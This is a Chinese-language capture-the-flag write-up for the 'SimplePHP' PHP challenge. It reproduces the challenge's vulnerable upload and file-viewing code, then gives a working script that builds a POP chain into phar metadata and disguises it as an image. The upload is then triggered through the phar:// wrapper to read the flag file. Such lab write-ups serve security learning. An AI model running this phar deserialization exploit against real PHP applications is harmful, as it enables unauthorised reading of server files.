[BUUCTF题解][SWPUCTF 2018]SimplePHP
### 知识点
- POP链条
- phar伪协议
过程
做题先搜集（扫目录+检查HTTP报文+查看初始页面HTML代码），在index.php页面源码中可以见到提示。
此外有file.php用来查看文件，upload_file.php用来上传文件，上传文件可能会存在各种过滤，在不清楚过滤机制的情况下通过返回信息调试绕过是困难且耗时的，所以先选择file.php尝试来获取页面逻辑。
可以成功获取，那么依次把能获取到的页面源码均获取出来。
<?php
#index.php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
<?php
#file.php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
<?php
#upload_file.php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
<?php
#function.php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
<?php
#class.php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
<?php
#base.php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
可以见到在file.php中会采用file_exist函数检查文件是否存在，而在class.php中名可以见到定义了一系列类，并且Test类具有的如下方法可以用来读取flag.php，那很显然接下来就是构造一条POP链并用phar伪协议去触发了，先构造POP链。
<?php
class C1e4r
{
public $str;
public function __construct()
{
$this->str = new Show();
}
}
class Show
{
public $str;
public function __construct()
{
$this->str['str']=new Test();
}
}
class Test
{
public $params;
public function __construct()
{
$this->params['source']="/var/www/html/f1ag.php";
#不知道为啥这里路径采用f1ag.php就读取不了
#可能是当前目录不在/var/www/html下,但是那又会在哪a...
}
}
#$a=new C1e4r();
$phar =new Phar("awsl.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$a=new C1e4r();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
重命名然后上传，文件名按道理来说应该按照源码中逻辑去对应构造获取，但是upload目录没有限制，所以可以直接查看获取到文件名。
然后去file.php用phar伪协议触发就好了。
base64解码后获得flag。
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